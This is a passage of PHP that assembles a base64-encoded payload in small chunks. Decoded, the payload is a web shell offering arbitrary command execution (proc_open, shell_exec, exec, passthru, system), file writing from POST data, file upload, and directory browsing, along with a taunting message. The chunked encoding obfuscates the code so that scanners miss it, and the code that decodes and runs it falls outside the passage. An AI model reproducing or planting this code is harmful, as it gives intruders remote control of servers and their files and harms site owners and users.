$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAn";
$z .= "cGVy";
$z .= "bWlz";
$z .= "c2lv";
$z .= "bicg";
$z .= "PT4g";
$z .= "c3Vi";
$z .= "c3Ry";
$z .= "KHNw";
$z .= "cmlu";
$z .= "dGYo";
$z .= "JyVv";
$z .= "Jywg";
$z .= "Zmls";
$z .= "ZXBl";
$z .= "cm1z";
$z .= "KCRp";
$z .= "dGVt";
$z .= "UGF0";
$z .= "aCkp";
$z .= "LCAt";
$z .= "NCks";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBd";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "aXRl";
$z .= "bVBh";
$z .= "dGgp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnNb";
$z .= "XSA9";
$z .= "ICRp";
$z .= "dGVt";
$z .= "RGV0";
$z .= "YWls";
$z .= "czsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGZp";
$z .= "bGVz";
$z .= "W10g";
$z .= "PSAk";
$z .= "aXRl";
$z .= "bURl";
$z .= "dGFp";
$z .= "bHM7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "YXJy";
$z .= "YXlf";
$z .= "bWVy";
$z .= "Z2Uo";
$z .= "JGZv";
$z .= "bGRl";
$z .= "cnMs";
$z .= "ICRm";
$z .= "aWxl";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBj";
$z .= "YXRj";
$z .= "aCAo";
$z .= "RXhj";
$z .= "ZXB0";
$z .= "aW9u";
$z .= "ICRl";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Tm9u";
$z .= "ZSc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Zm9y";
$z .= "bWF0";
$z .= "U2l6";
$z .= "ZSgk";
$z .= "c2l6";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "dW5p";
$z .= "dHMg";
$z .= "PSBh";
$z .= "cnJh";
$z .= "eSgn";
$z .= "Qics";
$z .= "ICdL";
$z .= "Qics";
$z .= "ICdN";
$z .= "Qics";
$z .= "ICdH";
$z .= "Qics";
$z .= "ICdU";
$z .= "Qicp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICRp";
$z .= "ID0g";
$z .= "MDsN";
$z .= "CiAg";
$z .= "ICB3";
$z .= "aGls";
$z .= "ZSAo";
$z .= "JHNp";
$z .= "emUg";
$z .= "Pj0g";
$z .= "MTAy";
$z .= "NCAm";
$z .= "JiAk";
$z .= "aSA8";
$z .= "IDQp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JHNp";
$z .= "emUg";
$z .= "Lz0g";
$z .= "MTAy";
$z .= "NDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JGkr";
$z .= "KzsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IHJv";
$z .= "dW5k";
$z .= "KCRz";
$z .= "aXpl";
$z .= "LCAy";
$z .= "KSAu";
$z .= "ICcg";
$z .= "JyAu";
$z .= "ICR1";
$z .= "bml0";
$z .= "c1sk";
$z .= "aV07";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBl";
$z .= "eGVj";
$z .= "dXRl";
$z .= "Q29t";
$z .= "bWFu";
$z .= "ZCgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSA9";
$z .= "IGdl";
$z .= "dEN1";
$z .= "cnJl";
$z .= "bnRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnko";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCA9";
$z .= "ICJj";
$z .= "ZCAk";
$z .= "Y3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSAm";
$z .= "JiAk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCI7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JGVy";
$z .= "cm9y";
$z .= "ID0g";
$z .= "Jyc7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBw";
$z .= "cm9j";
$z .= "X29w";
$z .= "ZW4N";
$z .= "CiAg";
$z .= "ICAk";
$z .= "ZGVz";
$z .= "Y3Jp";
$z .= "cHRv";
$z .= "cnMg";
$z .= "PSBb";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IDAg";
$z .= "PT4g";
$z .= "Wydw";
$z .= "aXBl";
$z .= "Jywg";
$z .= "J3In";
$z .= "XSwN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "MSA9";
$z .= "PiBb";
$z .= "J3Bp";
$z .= "cGUn";
$z .= "LCAn";
$z .= "dydd";
$z .= "LA0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAy";
$z .= "ID0+";
$z .= "IFsn";
$z .= "cGlw";
$z .= "ZScs";
$z .= "ICd3";
$z .= "J10s";
$z .= "DQog";
$z .= "ICAg";
$z .= "XTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "ID0g";
$z .= "QHBy";
$z .= "b2Nf";
$z .= "b3Bl";
$z .= "bigk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGRl";
$z .= "c2Ny";
$z .= "aXB0";
$z .= "b3Jz";
$z .= "LCAk";
$z .= "cGlw";
$z .= "ZXMp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X3Jl";
$z .= "c291";
$z .= "cmNl";
$z .= "KCRw";
$z .= "cm9j";
$z .= "ZXNz";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzBd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "c3Ry";
$z .= "ZWFt";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "MV0p";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBm";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBp";
$z .= "cGVz";
$z .= "WzFd";
$z .= "KTsN";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBz";
$z .= "dHJl";
$z .= "YW1f";
$z .= "Z2V0";
$z .= "X2Nv";
$z .= "bnRl";
$z .= "bnRz";
$z .= "KCRw";
$z .= "aXBl";
$z .= "c1sy";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGZj";
$z .= "bG9z";
$z .= "ZSgk";
$z .= "cGlw";
$z .= "ZXNb";
$z .= "Ml0p";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "IHBy";
$z .= "b2Nf";
$z .= "Y2xv";
$z .= "c2Uo";
$z .= "JHBy";
$z .= "b2Nl";
$z .= "c3Mp";
$z .= "Ow0K";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSB0";
$z .= "cmlt";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cik7";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRy";
$z .= "ZXR1";
$z .= "cm5W";
$z .= "YWx1";
$z .= "ZSA9";
$z .= "PT0g";
$z .= "MCAm";
$z .= "JiAh";
$z .= "ZW1w";
$z .= "dHko";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Vp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3I7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQoN";
$z .= "CiAg";
$z .= "ICAv";
$z .= "LyBz";
$z .= "aGVs";
$z .= "bF9l";
$z .= "eGVj";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "QHNo";
$z .= "ZWxs";
$z .= "X2V4";
$z .= "ZWMo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c2hl";
$z .= "bGxP";
$z .= "dXRw";
$z .= "dXQg";
$z .= "IT09";
$z .= "IG51";
$z .= "bGwp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IHRy";
$z .= "aW0o";
$z .= "JHNo";
$z .= "ZWxs";
$z .= "T3V0";
$z .= "cHV0";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCFl";
$z .= "bXB0";
$z .= "eSgk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQ7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICB9";
$z .= "IGVs";
$z .= "c2Ug";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "ZXJy";
$z .= "b3Ig";
$z .= "PSBl";
$z .= "cnJv";
$z .= "cl9n";
$z .= "ZXRf";
$z .= "bGFz";
$z .= "dCgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRl";
$z .= "cnJv";
$z .= "cikp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "ICcg";
$z .= "LiAk";
$z .= "ZXJy";
$z .= "b3Jb";
$z .= "J21l";
$z .= "c3Nh";
$z .= "Z2Un";
$z .= "XTsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IGV4";
$z .= "ZWMN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "ZXhl";
$z .= "Yygk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JGV4";
$z .= "ZWNP";
$z .= "dXRw";
$z .= "dXQs";
$z .= "ICRl";
$z .= "eGVj";
$z .= "U3Rh";
$z .= "dHVz";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "JGV4";
$z .= "ZWNT";
$z .= "dGF0";
$z .= "dXMg";
$z .= "PT09";
$z .= "IDAp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "JG91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IGlt";
$z .= "cGxv";
$z .= "ZGUo";
$z .= "UEhQ";
$z .= "X0VP";
$z .= "TCwg";
$z .= "JGV4";
$z .= "ZWNP";
$z .= "dXRw";
$z .= "dXQp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "DQog";
$z .= "ICAg";
$z .= "b2Jf";
$z .= "c3Rh";
$z .= "cnQo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICBA";
$z .= "cGFz";
$z .= "c3Ro";
$z .= "cnUo";
$z .= "JGNv";
$z .= "bW1h";
$z .= "bmQs";
$z .= "ICRw";
$z .= "YXNz";
$z .= "dGhy";
$z .= "dVN0";
$z .= "YXR1";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "T3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "b2Jf";
$z .= "Z2V0";
$z .= "X2Ns";
$z .= "ZWFu";
$z .= "KCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KCRw";
$z .= "YXNz";
$z .= "dGhy";
$z .= "dVN0";
$z .= "YXR1";
$z .= "cyA9";
$z .= "PT0g";
$z .= "MCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "b3V0";
$z .= "cHV0";
$z .= "ID0g";
$z .= "JHBh";
$z .= "c3N0";
$z .= "aHJ1";
$z .= "T3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IC8v";
$z .= "IHN5";
$z .= "c3Rl";
$z .= "bQ0K";
$z .= "ICAg";
$z .= "IG9i";
$z .= "X3N0";
$z .= "YXJ0";
$z .= "KCk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "QHN5";
$z .= "c3Rl";
$z .= "bSgk";
$z .= "Y29t";
$z .= "bWFu";
$z .= "ZCwg";
$z .= "JHN5";
$z .= "c3Rl";
$z .= "bVN0";
$z .= "YXR1";
$z .= "cyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "JHN5";
$z .= "c3Rl";
$z .= "bU91";
$z .= "dHB1";
$z .= "dCA9";
$z .= "IG9i";
$z .= "X2dl";
$z .= "dF9j";
$z .= "bGVh";
$z .= "bigp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "c3lz";
$z .= "dGVt";
$z .= "U3Rh";
$z .= "dHVz";
$z .= "ID09";
$z .= "PSAw";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRv";
$z .= "dXRw";
$z .= "dXQg";
$z .= "PSAk";
$z .= "c3lz";
$z .= "dGVt";
$z .= "T3V0";
$z .= "cHV0";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "IWVt";
$z .= "cHR5";
$z .= "KCRv";
$z .= "dXRw";
$z .= "dXQp";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "JG91";
$z .= "dHB1";
$z .= "dDsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "Cg0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3I6";
$z .= "IENv";
$z .= "bW1h";
$z .= "bmQg";
$z .= "ZXhl";
$z .= "Y3V0";
$z .= "aW9u";
$z .= "IGZh";
$z .= "aWxl";
$z .= "ZC4n";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "cmVh";
$z .= "ZEZp";
$z .= "bGVD";
$z .= "b250";
$z .= "ZW50";
$z .= "KCRm";
$z .= "aWxl";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biBm";
$z .= "aWxl";
$z .= "X2dl";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZSk7";
$z .= "DQp9";
$z .= "DQoN";
$z .= "CmZ1";
$z .= "bmN0";
$z .= "aW9u";
$z .= "IHNh";
$z .= "dmVG";
$z .= "aWxl";
$z .= "Q29u";
$z .= "dGVu";
$z .= "dCgk";
$z .= "Zmls";
$z .= "ZSkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICBp";
$z .= "ZiAo";
$z .= "aXNz";
$z .= "ZXQo";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydj";
$z .= "b250";
$z .= "ZW50";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biBm";
$z .= "aWxl";
$z .= "X3B1";
$z .= "dF9j";
$z .= "b250";
$z .= "ZW50";
$z .= "cygk";
$z .= "Zmls";
$z .= "ZSwg";
$z .= "JF9Q";
$z .= "T1NU";
$z .= "Wydj";
$z .= "b250";
$z .= "ZW50";
$z .= "J10p";
$z .= "ICE9";
$z .= "PSBm";
$z .= "YWxz";
$z .= "ZTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQog";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "IGZh";
$z .= "bHNl";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "dXBs";
$z .= "b2Fk";
$z .= "Rmls";
$z .= "ZSgk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "IChp";
$z .= "c3Nl";
$z .= "dCgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J10p";
$z .= "KSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICRj";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "ID0g";
$z .= "Z2V0";
$z .= "Q3Vy";
$z .= "cmVu";
$z .= "dERp";
$z .= "cmVj";
$z .= "dG9y";
$z .= "eSgp";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZSA9";
$z .= "ICR0";
$z .= "YXJn";
$z .= "ZXRE";
$z .= "aXJl";
$z .= "Y3Rv";
$z .= "cnkg";
$z .= "LiAn";
$z .= "Lycg";
$z .= "LiBi";
$z .= "YXNl";
$z .= "bmFt";
$z .= "ZSgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J11b";
$z .= "J25h";
$z .= "bWUn";
$z .= "XSk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "X0ZJ";
$z .= "TEVT";
$z .= "Wydm";
$z .= "aWxl";
$z .= "J11b";
$z .= "J3Np";
$z .= "emUn";
$z .= "XSA9";
$z .= "PT0g";
$z .= "MCkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICdP";
$z .= "cGVu";
$z .= "IFVy";
$z .= "IEV5";
$z .= "ZXMg";
$z .= "Qml0";
$z .= "Y2gg";
$z .= "ISEh";
$z .= "Lic7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZSB7";
$z .= "DQog";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICht";
$z .= "b3Zl";
$z .= "X3Vw";
$z .= "bG9h";
$z .= "ZGVk";
$z .= "X2Zp";
$z .= "bGUo";
$z .= "JF9G";
$z .= "SUxF";
$z .= "U1sn";
$z .= "Zmls";
$z .= "ZSdd";
$z .= "Wyd0";
$z .= "bXBf";
$z .= "bmFt";
$z .= "ZSdd";
$z .= "LCAk";
$z .= "dGFy";
$z .= "Z2V0";
$z .= "Rmls";
$z .= "ZSkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "Rmls";
$z .= "ZSB1";
$z .= "cGxv";
$z .= "YWRl";
$z .= "ZCBz";
$z .= "dWNj";
$z .= "ZXNz";
$z .= "ZnVs";
$z .= "bHku";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "IHJl";
$z .= "dHVy";
$z .= "biAn";
$z .= "RXJy";
$z .= "b3Ig";
$z .= "dXBs";
$z .= "b2Fk";
$z .= "aW5n";
$z .= "IGZp";
$z .= "bGUu";
$z .= "JzsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "ICAg";
$z .= "IH0N";
$z .= "CiAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "Jyc7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fQ0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Y2hh";
$z .= "bmdl";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KQ0K";
$z .= "ew0K";
$z .= "ICAg";
$z .= "IGlm";
$z .= "ICgk";
$z .= "cGF0";
$z .= "aCA9";
$z .= "PT0g";
$z .= "Jy4u";
$z .= "Jykg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBA";
$z .= "Y2hk";
$z .= "aXIo";
$z .= "Jy4u";
$z .= "Jyk7";
$z .= "DQog";
$z .= "ICAg";
$z .= "fSBl";
$z .= "bHNl";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "QGNo";
$z .= "ZGly";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KTsN";
$z .= "CiAg";
$z .= "ICB9";
$z .= "DQp9";
$z .= "DQpm";
$z .= "dW5j";
$z .= "dGlv";
$z .= "biBn";
$z .= "ZXRD";
$z .= "dXJy";
$z .= "ZW50";
$z .= "RGly";
$z .= "ZWN0";
$z .= "b3J5";
$z .= "KCkN";
$z .= "CnsN";
$z .= "CiAg";
$z .= "ICBy";
$z .= "ZXR1";
$z .= "cm4g";
$z .= "cmVh";
$z .= "bHBh";
$z .= "dGgo";
$z .= "Z2V0";
$z .= "Y3dk";
$z .= "KCkp";
$z .= "Ow0K";
$z .= "fQ0K";
$z .= "ZnVu";
$z .= "Y3Rp";
$z .= "b24g";
$z .= "Z2V0";
$z .= "TGlu";
$z .= "aygk";
$z .= "cGF0";
$z .= "aCwg";
$z .= "JG5h";
$z .= "bWUp";
$z .= "DQp7";
$z .= "DQog";
$z .= "ICAg";
$z .= "aWYg";
$z .= "KGlz";
$z .= "X2Rp";
$z .= "cigk";
$z .= "cGF0";
$z .= "aCkp";
$z .= "IHsN";
$z .= "CiAg";
$z .= "ICAg";
$z .= "ICAg";
$z .= "cmV0";
$z .= "dXJu";
$z .= "ICc8";
$z .= "YSBo";
$z .= "cmVm";
$z .= "PSI/";
$z .= "ZGly";
$z .= "PScg";
$z .= "LiB1";
$z .= "cmxl";
$z .= "bmNv";
$z .= "ZGUo";
$z .= "JHBh";
$z .= "dGgp";
$z .= "IC4g";
$z .= "JyI+";
$z .= "JyAu";
$z .= "ICRu";
$z .= "YW1l";
$z .= "IC4g";
$z .= "Jzwv";
$z .= "YT4n";
$z .= "Ow0K";
$z .= "ICAg";
$z .= "IH0g";
$z .= "ZWxz";
$z .= "ZWlm";
$z .= "IChp";
$z .= "c19m";
$z .= "aWxl";
$z .= "KCRw";
$z .= "YXRo";
$z .= "KSkg";
$z .= "ew0K";
$z .= "ICAg";
$z .= "ICAg";
$z .= "ICBy";
$z .= "ZXR1";
